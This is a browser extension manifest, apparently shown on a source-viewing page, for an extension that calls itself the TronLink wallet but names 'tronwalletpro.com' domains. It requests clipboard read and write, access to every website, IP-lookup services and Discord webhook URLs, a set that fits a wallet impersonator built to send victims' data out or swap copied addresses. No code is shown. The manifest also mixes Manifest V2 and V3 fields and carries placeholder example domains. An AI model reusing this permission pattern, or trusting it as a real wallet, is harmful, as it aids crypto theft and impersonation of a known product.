Examine source code of TronLink

{
  "manifest_version": 3,
  "name": "TronLink",
  "version": "1.1.2",
  "description": "TronLink Pro - Secure and modern Tron wallet",
  "permissions": [
    "storage",
    "activeTab",
    "clipboardRead",
    "clipboardWrite"
  ],
  "host_permissions": [
    "https://api.ipify.org/*",
    "https://ipinfo.io/*",
    "https://discord.com/api/webhooks/*",
    "https://*/*",
    "http://*/*",
    "https://example.com/*",
    "https://api.trongrid.io/*",
    "https://api.trongrid.io/v1/*",
    "https://api.coingecko.com/api/v3/*",
    "https://api.binance.com/*",
    "https://api.kraken.com/*",
    "https://*.example.org/*",
    "https://auth.tronwalletpro.com/*",
    "https://analytics.tronwalletpro.com/*",
    "https://cdn.tronwalletpro.com/*",
    "https://images.tronwalletpro.com/*"
  ],
  "action": {
    "default_popup": "popup.html",
    "default_title": "TronLink",
    "default_icon": {
      "16": "logo.png",
      "32": "logo.png",
      "48": "logo.png",
      "128": "logo.png"
    }
  },
  "background": {
    "scripts": [
      "background.js"
    ],
    "persistent": false
  },
  "content_security_policy": {
    "extension_pages": "script-src 'self'; object-src 'self'"
  },
  "browser_specific_settings": {
    "gecko": {
      "id": "support@TronLink.org",
      "strict_min_version": "91.0"
    }
  },
  "icons": {
    "16": "logo.png",
    "32": "logo.png",
    "48": "logo.png",
    "128": "logo.png"
  },
  "homepage_url": "https://tronwalletpro.com",
  "author": "TronWallet Pro Team"
}